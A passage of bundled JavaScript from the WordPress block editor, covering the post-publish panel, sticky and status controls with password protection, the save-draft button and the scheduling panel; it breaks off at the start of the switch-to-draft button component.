19663 const postPublishNonLinkHeader = isScheduled ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19664 (0,external_wp_i18n_namespaceObject.__)("is now scheduled. It will go live on"),
19665 " ",
19666 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostScheduleLabel, {}),
19667 "."
19668 ] }) : (0,external_wp_i18n_namespaceObject.__)("is now live.");
19669 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "post-publish-panel__postpublish", children: [
19670 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { className: "post-publish-panel__postpublish-header", children: [
19671 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { ref: postLinkRef, href: link, children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(post.title) || (0,external_wp_i18n_namespaceObject.__)("(no title)") }),
19672 " ",
19673 postPublishNonLinkHeader
19674 ] }),
19675 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { children: [
19676 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "post-publish-panel__postpublish-subheader", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { children: (0,external_wp_i18n_namespaceObject.__)("What\u2019s next?") }) }),
19677 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "post-publish-panel__postpublish-post-address-container", children: [
19678 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19679 external_wp_components_namespaceObject.TextControl,
19680 {
19681 __next40pxDefaultSize: true,
19682 __nextHasNoMarginBottom: true,
19683 className: "post-publish-panel__postpublish-post-address",
19684 readOnly: true,
19685 label: (0,external_wp_i18n_namespaceObject.sprintf)(
19686 /* translators: %s: post type singular name */
19687 (0,external_wp_i18n_namespaceObject.__)("%s address"),
19688 postLabel
19689 ),
19690 value: (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(link),
19691 onFocus: (event) => event.target.select()
19692 }
19693 ),
19694 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "post-publish-panel__postpublish-post-address__copy-button-wrap", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(postpublish_CopyButton, { text: link }) })
19695 ] }),
19696 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "post-publish-panel__postpublish-buttons", children: [
19697 !isScheduled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19698 external_wp_components_namespaceObject.Button,
19699 {
19700 variant: "primary",
19701 href: link,
19702 __next40pxDefaultSize: true,
19703 icon: external_default,
19704 iconPosition: "right",
19705 target: "_blank",
19706 children: [
19707 viewPostLabel,
19708 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
19709 as: "span",
19710 /* translators: accessibility text */
19711 children: (0,external_wp_i18n_namespaceObject.__)("(opens in a new tab)")
19712 })
19713 ]
19714 }
19715 ),
19716 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19717 external_wp_components_namespaceObject.Button,
19718 {
19719 variant: isScheduled ? "primary" : "secondary",
19720 __next40pxDefaultSize: true,
19721 href: addLink,
19722 children: addNewPostLabel
19723 }
19724 )
19725 ] })
19726 ] }),
19727 children
19728 ] });
19729}
19730
19731
19732;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/index.js
19733
19734
19735
19736
19737
19738
19739
19740
19741
19742
19743
19744
19745class PostPublishPanel extends external_wp_element_namespaceObject.Component {
19746 constructor() {
19747 super(...arguments);
19748 this.onSubmit = this.onSubmit.bind(this);
19749 this.cancelButtonNode = (0,external_wp_element_namespaceObject.createRef)();
19750 }
19751 componentDidMount() {
19752 this.timeoutID = setTimeout(() => {
19753 this.cancelButtonNode.current.focus();
19754 }, 0);
19755 }
19756 componentWillUnmount() {
19757 clearTimeout(this.timeoutID);
19758 }
19759 componentDidUpdate(prevProps) {
19760 if (prevProps.isPublished && !this.props.isSaving && this.props.isDirty || this.props.currentPostId !== prevProps.currentPostId) {
19761 this.props.onClose();
19762 }
19763 }
19764 onSubmit() {
19765 const { onClose, hasPublishAction, isPostTypeViewable } = this.props;
19766 if (!hasPublishAction || !isPostTypeViewable) {
19767 onClose();
19768 }
19769 }
19770 render() {
19771 const {
19772 forceIsDirty,
19773 isBeingScheduled,
19774 isPublished,
19775 isPublishSidebarEnabled,
19776 isScheduled,
19777 isSaving,
19778 isSavingNonPostEntityChanges,
19779 onClose,
19780 onTogglePublishSidebar,
19781 PostPublishExtension,
19782 PrePublishExtension,
19783 currentPostId,
19784 ...additionalProps
19785 } = this.props;
19786 const {
19787 hasPublishAction,
19788 isDirty,
19789 isPostTypeViewable,
19790 ...propsForPanel
19791 } = additionalProps;
19792 const isPublishedOrScheduled = isPublished || isScheduled && isBeingScheduled;
19793 const isPrePublish = !isPublishedOrScheduled && !isSaving;
19794 const isPostPublish = isPublishedOrScheduled && !isSaving;
19795 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-publish-panel", ...propsForPanel, children: [
19796 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-publish-panel__header", children: isPostPublish ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19797 external_wp_components_namespaceObject.Button,
19798 {
19799 size: "compact",
19800 onClick: onClose,
19801 icon: close_small_default,
19802 label: (0,external_wp_i18n_namespaceObject.__)("Close panel")
19803 }
19804 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19805 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-publish-panel__header-cancel-button", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19806 external_wp_components_namespaceObject.Button,
19807 {
19808 ref: this.cancelButtonNode,
19809 accessibleWhenDisabled: true,
19810 disabled: isSavingNonPostEntityChanges,
19811 onClick: onClose,
19812 variant: "secondary",
19813 size: "compact",
19814 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
19815 }
19816 ) }),
19817 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-publish-panel__header-publish-button", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19818 post_publish_button_default,
19819 {
19820 onSubmit: this.onSubmit,
19821 forceIsDirty
19822 }
19823 ) })
19824 ] }) }),
19825 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-publish-panel__content", children: [
19826 isPrePublish && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(prepublish_default, { children: PrePublishExtension && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrePublishExtension, {}) }),
19827 isPostPublish && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPublishPanelPostpublish, { focusOnMount: true, children: PostPublishExtension && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostPublishExtension, {}) }),
19828 isSaving && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
19829 ] }),
19830 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-publish-panel__footer", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19831 external_wp_components_namespaceObject.CheckboxControl,
19832 {
19833 __nextHasNoMarginBottom: true,
19834 label: (0,external_wp_i18n_namespaceObject.__)("Always show pre-publish checks."),
19835 checked: isPublishSidebarEnabled,
19836 onChange: onTogglePublishSidebar
19837 }
19838 ) })
19839 ] });
19840 }
19841}
19842var post_publish_panel_default = (0,external_wp_compose_namespaceObject.compose)([
19843 (0,external_wp_data_namespaceObject.withSelect)((select) => {
19844 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
19845 const {
19846 getCurrentPost,
19847 getCurrentPostId,
19848 getEditedPostAttribute,
19849 isCurrentPostPublished,
19850 isCurrentPostScheduled,
19851 isEditedPostBeingScheduled,
19852 isEditedPostDirty,
19853 isAutosavingPost,
19854 isSavingPost,
19855 isSavingNonPostEntityChanges
19856 } = select(store_store);
19857 const { isPublishSidebarEnabled } = select(store_store);
19858 const postType = getPostType(getEditedPostAttribute("type"));
19859 return {
19860 hasPublishAction: getCurrentPost()._links?.["wp:action-publish"] ?? false,
19861 isPostTypeViewable: postType?.viewable,
19862 isBeingScheduled: isEditedPostBeingScheduled(),
19863 isDirty: isEditedPostDirty(),
19864 isPublished: isCurrentPostPublished(),
19865 isPublishSidebarEnabled: isPublishSidebarEnabled(),
19866 isSaving: isSavingPost() && !isAutosavingPost(),
19867 isSavingNonPostEntityChanges: isSavingNonPostEntityChanges(),
19868 isScheduled: isCurrentPostScheduled(),
19869 currentPostId: getCurrentPostId()
19870 };
19871 }),
19872 (0,external_wp_data_namespaceObject.withDispatch)((dispatch, { isPublishSidebarEnabled }) => {
19873 const { disablePublishSidebar, enablePublishSidebar } = dispatch(store_store);
19874 return {
19875 onTogglePublishSidebar: () => {
19876 if (isPublishSidebarEnabled) {
19877 disablePublishSidebar();
19878 } else {
19879 enablePublishSidebar();
19880 }
19881 }
19882 };
19883 }),
19884 external_wp_components_namespaceObject.withFocusReturn,
19885 external_wp_components_namespaceObject.withConstrainedTabbing
19886])(PostPublishPanel);
19887
19888
19889;// ./node_modules/@wordpress/icons/build-module/library/cloud-upload.js
19890
19891
19892var cloud_upload_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.3 10.1C17.3 7.60001 15.2 5.70001 12.5 5.70001C10.3 5.70001 8.4 7.10001 7.9 9.00001H7.7C5.7 9.00001 4 10.7 4 12.8C4 14.9 5.7 16.6 7.7 16.6H9.5V15.2H7.7C6.5 15.2 5.5 14.1 5.5 12.9C5.5 11.7 6.5 10.5 7.7 10.5H9L9.3 9.40001C9.7 8.10001 11 7.20001 12.5 7.20001C14.3 7.20001 15.8 8.50001 15.8 10.1V11.4L17.1 11.6C17.9 11.7 18.5 12.5 18.5 13.4C18.5 14.4 17.7 15.2 16.8 15.2H14.5V16.6H16.7C18.5 16.6 19.9 15.1 19.9 13.3C20 11.7 18.8 10.4 17.3 10.1Z M14.1245 14.2426L15.1852 13.182L12.0032 10L8.82007 13.1831L9.88072 14.2438L11.25 12.8745V18H12.75V12.8681L14.1245 14.2426Z" }) });
19893
19894
19895;// ./node_modules/@wordpress/icons/build-module/library/cloud.js
19896
19897
19898var cloud_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z" }) });
19899
19900
19901;// ./node_modules/@wordpress/editor/build-module/components/post-sticky/check.js
19902
19903
19904function PostStickyCheck({ children }) {
19905 const { hasStickyAction, postType } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
19906 const post = select(store_store).getCurrentPost();
19907 return {
19908 hasStickyAction: post._links?.["wp:action-sticky"] ?? false,
19909 postType: select(store_store).getCurrentPostType()
19910 };
19911 }, []);
19912 if (postType !== "post" || !hasStickyAction) {
19913 return null;
19914 }
19915 return children;
19916}
19917
19918
19919;// ./node_modules/@wordpress/editor/build-module/components/post-sticky/index.js
19920
19921
19922
19923
19924
19925
19926function PostSticky() {
19927 const postSticky = (0,external_wp_data_namespaceObject.useSelect)((select) => {
19928 return select(store_store).getEditedPostAttribute("sticky") ?? false;
19929 }, []);
19930 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
19931 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostStickyCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19932 external_wp_components_namespaceObject.CheckboxControl,
19933 {
19934 className: "editor-post-sticky__checkbox-control",
19935 label: (0,external_wp_i18n_namespaceObject.__)("Sticky"),
19936 help: (0,external_wp_i18n_namespaceObject.__)("Pin this post to the top of the blog."),
19937 checked: postSticky,
19938 onChange: () => editPost({ sticky: !postSticky }),
19939 __nextHasNoMarginBottom: true
19940 }
19941 ) });
19942}
19943
19944
19945;// ./node_modules/@wordpress/editor/build-module/components/post-status/index.js
19946
19947
19948
19949
19950
19951
19952
19953
19954
19955
19956
19957
19958
19959
19960const postStatusesInfo = {
19961 "auto-draft": { label: (0,external_wp_i18n_namespaceObject.__)("Draft"), icon: drafts_default },
19962 draft: { label: (0,external_wp_i18n_namespaceObject.__)("Draft"), icon: drafts_default },
19963 pending: { label: (0,external_wp_i18n_namespaceObject.__)("Pending"), icon: pending_default },
19964 private: { label: (0,external_wp_i18n_namespaceObject.__)("Private"), icon: not_allowed_default },
19965 future: { label: (0,external_wp_i18n_namespaceObject.__)("Scheduled"), icon: scheduled_default },
19966 publish: { label: (0,external_wp_i18n_namespaceObject.__)("Published"), icon: published_default }
19967};
19968const STATUS_OPTIONS = [
19969 {
19970 label: (0,external_wp_i18n_namespaceObject.__)("Draft"),
19971 value: "draft",
19972 description: (0,external_wp_i18n_namespaceObject.__)("Not ready to publish.")
19973 },
19974 {
19975 label: (0,external_wp_i18n_namespaceObject.__)("Pending"),
19976 value: "pending",
19977 description: (0,external_wp_i18n_namespaceObject.__)("Waiting for review before publishing.")
19978 },
19979 {
19980 label: (0,external_wp_i18n_namespaceObject.__)("Private"),
19981 value: "private",
19982 description: (0,external_wp_i18n_namespaceObject.__)("Only visible to site admins and editors.")
19983 },
19984 {
19985 label: (0,external_wp_i18n_namespaceObject.__)("Scheduled"),
19986 value: "future",
19987 description: (0,external_wp_i18n_namespaceObject.__)("Publish automatically on a chosen date.")
19988 },
19989 {
19990 label: (0,external_wp_i18n_namespaceObject.__)("Published"),
19991 value: "publish",
19992 description: (0,external_wp_i18n_namespaceObject.__)("Visible to everyone.")
19993 }
19994];
19995const DESIGN_POST_TYPES = [
19996 TEMPLATE_POST_TYPE,
19997 TEMPLATE_PART_POST_TYPE,
19998 PATTERN_POST_TYPE,
19999 NAVIGATION_POST_TYPE
20000];
20001function PostStatus() {
20002 const { status, date, password, postId, postType, canEdit } = (0,external_wp_data_namespaceObject.useSelect)(
20003 (select) => {
20004 const {
20005 getEditedPostAttribute,
20006 getCurrentPostId,
20007 getCurrentPostType,
20008 getCurrentPost
20009 } = select(store_store);
20010 return {
20011 status: getEditedPostAttribute("status"),
20012 date: getEditedPostAttribute("date"),
20013 password: getEditedPostAttribute("password"),
20014 postId: getCurrentPostId(),
20015 postType: getCurrentPostType(),
20016 canEdit: getCurrentPost()._links?.["wp:action-publish"] ?? false
20017 };
20018 },
20019 []
20020 );
20021 const [showPassword, setShowPassword] = (0,external_wp_element_namespaceObject.useState)(!!password);
20022 const passwordInputId = (0,external_wp_compose_namespaceObject.useInstanceId)(
20023 PostStatus,
20024 "editor-change-status__password-input"
20025 );
20026 const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
20027 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
20028 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
20029 () => ({
20030 // Anchor the popover to the middle of the entire row so that it doesn't
20031 // move around when the label changes.
20032 anchor: popoverAnchor,
20033 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Status & visibility"),
20034 headerTitle: (0,external_wp_i18n_namespaceObject.__)("Status & visibility"),
20035 placement: "left-start",
20036 offset: 36,
20037 shift: true
20038 }),
20039 [popoverAnchor]
20040 );
20041 if (DESIGN_POST_TYPES.includes(postType)) {
20042 return null;
20043 }
20044 const updatePost = ({
20045 status: newStatus = status,
20046 password: newPassword = password,
20047 date: newDate = date
20048 }) => {
20049 editEntityRecord("postType", postType, postId, {
20050 status: newStatus,
20051 date: newDate,
20052 password: newPassword
20053 });
20054 };
20055 const handleTogglePassword = (value) => {
20056 setShowPassword(value);
20057 if (!value) {
20058 updatePost({ password: "" });
20059 }
20060 };
20061 const handleStatus = (value) => {
20062 let newDate = date;
20063 let newPassword = password;
20064 if (status === "future" && new Date(date) > /* @__PURE__ */ new Date()) {
20065 newDate = null;
20066 }
20067 if (value === "private" && password) {
20068 newPassword = "";
20069 }
20070 updatePost({
20071 status: value,
20072 date: newDate,
20073 password: newPassword
20074 });
20075 };
20076 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Status"), ref: setPopoverAnchor, children: canEdit ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20077 external_wp_components_namespaceObject.Dropdown,
20078 {
20079 className: "editor-post-status",
20080 contentClassName: "editor-change-status__content",
20081 popoverProps,
20082 focusOnMount: true,
20083 renderToggle: ({ onToggle, isOpen }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20084 external_wp_components_namespaceObject.Button,
20085 {
20086 className: "editor-post-status__toggle",
20087 variant: "tertiary",
20088 size: "compact",
20089 onClick: onToggle,
20090 icon: postStatusesInfo[status]?.icon,
20091 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
20092 // translators: %s: Current post status.
20093 (0,external_wp_i18n_namespaceObject.__)("Change status: %s"),
20094 postStatusesInfo[status]?.label
20095 ),
20096 "aria-expanded": isOpen,
20097 children: postStatusesInfo[status]?.label
20098 }
20099 ),
20100 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20101 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20102 external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader,
20103 {
20104 title: (0,external_wp_i18n_namespaceObject.__)("Status & visibility"),
20105 onClose
20106 }
20107 ),
20108 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20109 "form",
20110 {
20111 onSubmit: (event) => {
20112 event.preventDefault();
20113 onClose();
20114 },
20115 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
20116 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20117 external_wp_components_namespaceObject.RadioControl,
20118 {
20119 className: "editor-change-status__options",
20120 hideLabelFromVision: true,
20121 label: (0,external_wp_i18n_namespaceObject.__)("Status"),
20122 options: STATUS_OPTIONS,
20123 onChange: handleStatus,
20124 selected: status === "auto-draft" ? "draft" : status
20125 }
20126 ),
20127 status === "future" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-change-status__publish-date-wrapper", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20128 PrivatePostSchedule,
20129 {
20130 showPopoverHeaderActions: false,
20131 isCompact: true
20132 }
20133 ) }),
20134 status !== "private" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20135 external_wp_components_namespaceObject.__experimentalVStack,
20136 {
20137 as: "fieldset",
20138 spacing: 4,
20139 className: "editor-change-status__password-fieldset",
20140 children: [
20141 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20142 external_wp_components_namespaceObject.CheckboxControl,
20143 {
20144 __nextHasNoMarginBottom: true,
20145 label: (0,external_wp_i18n_namespaceObject.__)(
20146 "Password protected"
20147 ),
20148 help: (0,external_wp_i18n_namespaceObject.__)(
20149 "Only visible to those who know the password."
20150 ),
20151 checked: showPassword,
20152 onChange: handleTogglePassword
20153 }
20154 ),
20155 showPassword && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-change-status__password-input", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20156 external_wp_components_namespaceObject.TextControl,
20157 {
20158 label: (0,external_wp_i18n_namespaceObject.__)(
20159 "Password"
20160 ),
20161 onChange: (value) => updatePost({
20162 password: value
20163 }),
20164 value: password,
20165 placeholder: (0,external_wp_i18n_namespaceObject.__)(
20166 "Use a secure password"
20167 ),
20168 type: "text",
20169 id: passwordInputId,
20170 __next40pxDefaultSize: true,
20171 __nextHasNoMarginBottom: true,
20172 maxLength: 255
20173 }
20174 ) })
20175 ]
20176 }
20177 ),
20178 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSticky, {})
20179 ] })
20180 }
20181 )
20182 ] })
20183 }
20184 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-status is-read-only", children: postStatusesInfo[status]?.label }) });
20185}
20186
20187
20188;// ./node_modules/@wordpress/editor/build-module/components/post-saved-state/index.js
20189
20190
20191
20192
20193
20194
20195
20196
20197
20198
20199
20200
20201function PostSavedState({ forceIsDirty }) {
20202 const [forceSavedMessage, setForceSavedMessage] = (0,external_wp_element_namespaceObject.useState)(false);
20203 const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small");
20204 const {
20205 isAutosaving,
20206 isDirty,
20207 isNew,
20208 isPublished,
20209 isSaveable,
20210 isSaving,
20211 isScheduled,
20212 hasPublishAction,
20213 showIconLabels,
20214 postStatus,
20215 postStatusHasChanged
20216 } = (0,external_wp_data_namespaceObject.useSelect)(
20217 (select) => {
20218 const {
20219 isEditedPostNew,
20220 isCurrentPostPublished,
20221 isCurrentPostScheduled,
20222 isEditedPostDirty,
20223 isSavingPost,
20224 isEditedPostSaveable,
20225 getCurrentPost,
20226 isAutosavingPost,
20227 getEditedPostAttribute,
20228 getPostEdits
20229 } = select(store_store);
20230 const { get } = select(external_wp_preferences_namespaceObject.store);
20231 return {
20232 isAutosaving: isAutosavingPost(),
20233 isDirty: forceIsDirty || isEditedPostDirty(),
20234 isNew: isEditedPostNew(),
20235 isPublished: isCurrentPostPublished(),
20236 isSaving: isSavingPost(),
20237 isSaveable: isEditedPostSaveable(),
20238 isScheduled: isCurrentPostScheduled(),
20239 hasPublishAction: getCurrentPost()?._links?.["wp:action-publish"] ?? false,
20240 showIconLabels: get("core", "showIconLabels"),
20241 postStatus: getEditedPostAttribute("status"),
20242 postStatusHasChanged: !!getPostEdits()?.status
20243 };
20244 },
20245 [forceIsDirty]
20246 );
20247 const isPending = postStatus === "pending";
20248 const { savePost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
20249 const wasSaving = (0,external_wp_compose_namespaceObject.usePrevious)(isSaving);
20250 (0,external_wp_element_namespaceObject.useEffect)(() => {
20251 let timeoutId;
20252 if (wasSaving && !isSaving) {
20253 setForceSavedMessage(true);
20254 timeoutId = setTimeout(() => {
20255 setForceSavedMessage(false);
20256 }, 1e3);
20257 }
20258 return () => clearTimeout(timeoutId);
20259 }, [isSaving]);
20260 if (!hasPublishAction && isPending) {
20261 return null;
20262 }
20263 const isIneligibleStatus = !["pending", "draft", "auto-draft"].includes(postStatus) && STATUS_OPTIONS.map(({ value }) => value).includes(postStatus);
20264 if (isPublished || isScheduled || isIneligibleStatus || postStatusHasChanged && ["pending", "draft"].includes(postStatus)) {
20265 return null;
20266 }
20267 const label = isPending ? (0,external_wp_i18n_namespaceObject.__)("Save as pending") : (0,external_wp_i18n_namespaceObject.__)("Save draft");
20268 const shortLabel = (0,external_wp_i18n_namespaceObject.__)("Save");
20269 const isSaved = forceSavedMessage || !isNew && !isDirty;
20270 const isSavedState = isSaving || isSaved;
20271 const isDisabled = isSaving || isSaved || !isSaveable;
20272 let text;
20273 if (isSaving) {
20274 text = isAutosaving ? (0,external_wp_i18n_namespaceObject.__)("Autosaving") : (0,external_wp_i18n_namespaceObject.__)("Saving");
20275 } else if (isSaved) {
20276 text = (0,external_wp_i18n_namespaceObject.__)("Saved");
20277 } else if (isLargeViewport) {
20278 text = label;
20279 } else if (showIconLabels) {
20280 text = shortLabel;
20281 }
20282 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20283 external_wp_components_namespaceObject.Button,
20284 {
20285 className: isSaveable || isSaving ? dist_clsx({
20286 "editor-post-save-draft": !isSavedState,
20287 "editor-post-saved-state": isSavedState,
20288 "is-saving": isSaving,
20289 "is-autosaving": isAutosaving,
20290 "is-saved": isSaved,
20291 [(0,external_wp_components_namespaceObject.__unstableGetAnimateClassName)({
20292 type: "loading"
20293 })]: isSaving
20294 }) : void 0,
20295 onClick: isDisabled ? void 0 : () => savePost(),
20296 shortcut: isDisabled ? void 0 : external_wp_keycodes_namespaceObject.displayShortcut.primary("s"),
20297 variant: "tertiary",
20298 size: "compact",
20299 icon: isLargeViewport ? void 0 : cloud_upload_default,
20300 label: text || label,
20301 "aria-disabled": isDisabled,
20302 children: [
20303 isSavedState && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: isSaved ? check_default : cloud_default }),
20304 text
20305 ]
20306 }
20307 );
20308}
20309
20310
20311;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/check.js
20312
20313
20314function PostScheduleCheck({ children }) {
20315 const hasPublishAction = (0,external_wp_data_namespaceObject.useSelect)((select) => {
20316 return select(store_store).getCurrentPost()._links?.["wp:action-publish"] ?? false;
20317 }, []);
20318 if (!hasPublishAction) {
20319 return null;
20320 }
20321 return children;
20322}
20323
20324
20325;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/panel.js
20326
20327
20328
20329
20330
20331
20332
20333
20334
20335
20336
20337const panel_DESIGN_POST_TYPES = [
20338 TEMPLATE_POST_TYPE,
20339 TEMPLATE_PART_POST_TYPE,
20340 PATTERN_POST_TYPE,
20341 NAVIGATION_POST_TYPE
20342];
20343function PostSchedulePanel() {
20344 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
20345 const postType = (0,external_wp_data_namespaceObject.useSelect)(
20346 (select) => select(store_store).getCurrentPostType(),
20347 []
20348 );
20349 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
20350 () => ({
20351 // Anchor the popover to the middle of the entire row so that it doesn't
20352 // move around when the label changes.
20353 anchor: popoverAnchor,
20354 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Change publish date"),
20355 placement: "left-start",
20356 offset: 36,
20357 shift: true
20358 }),
20359 [popoverAnchor]
20360 );
20361 const label = usePostScheduleLabel();
20362 const fullLabel = usePostScheduleLabel({ full: true });
20363 if (panel_DESIGN_POST_TYPES.includes(postType)) {
20364 return null;
20365 }
20366 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostScheduleCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row_default, { label: (0,external_wp_i18n_namespaceObject.__)("Publish"), ref: setPopoverAnchor, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20367 external_wp_components_namespaceObject.Dropdown,
20368 {
20369 popoverProps,
20370 focusOnMount: true,
20371 className: "editor-post-schedule__panel-dropdown",
20372 contentClassName: "editor-post-schedule__dialog",
20373 renderToggle: ({ onToggle, isOpen }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20374 external_wp_components_namespaceObject.Button,
20375 {
20376 size: "compact",
20377 className: "editor-post-schedule__dialog-toggle",
20378 variant: "tertiary",
20379 tooltipPosition: "middle left",
20380 onClick: onToggle,
20381 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
20382 // translators: %s: Current post date.
20383 (0,external_wp_i18n_namespaceObject.__)("Change date: %s"),
20384 label
20385 ),
20386 label: fullLabel,
20387 showTooltip: label !== fullLabel,
20388 "aria-expanded": isOpen,
20389 children: label
20390 }
20391 ),
20392 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSchedule, { onClose })
20393 }
20394 ) }) });
20395}
20396
20397
20398;// ./node_modules/@wordpress/editor/build-module/components/post-switch-to-draft-button/index.js
20399
20400
20401
20402
20403
20404
20405
20406function PostSwitchToDraftButton() {
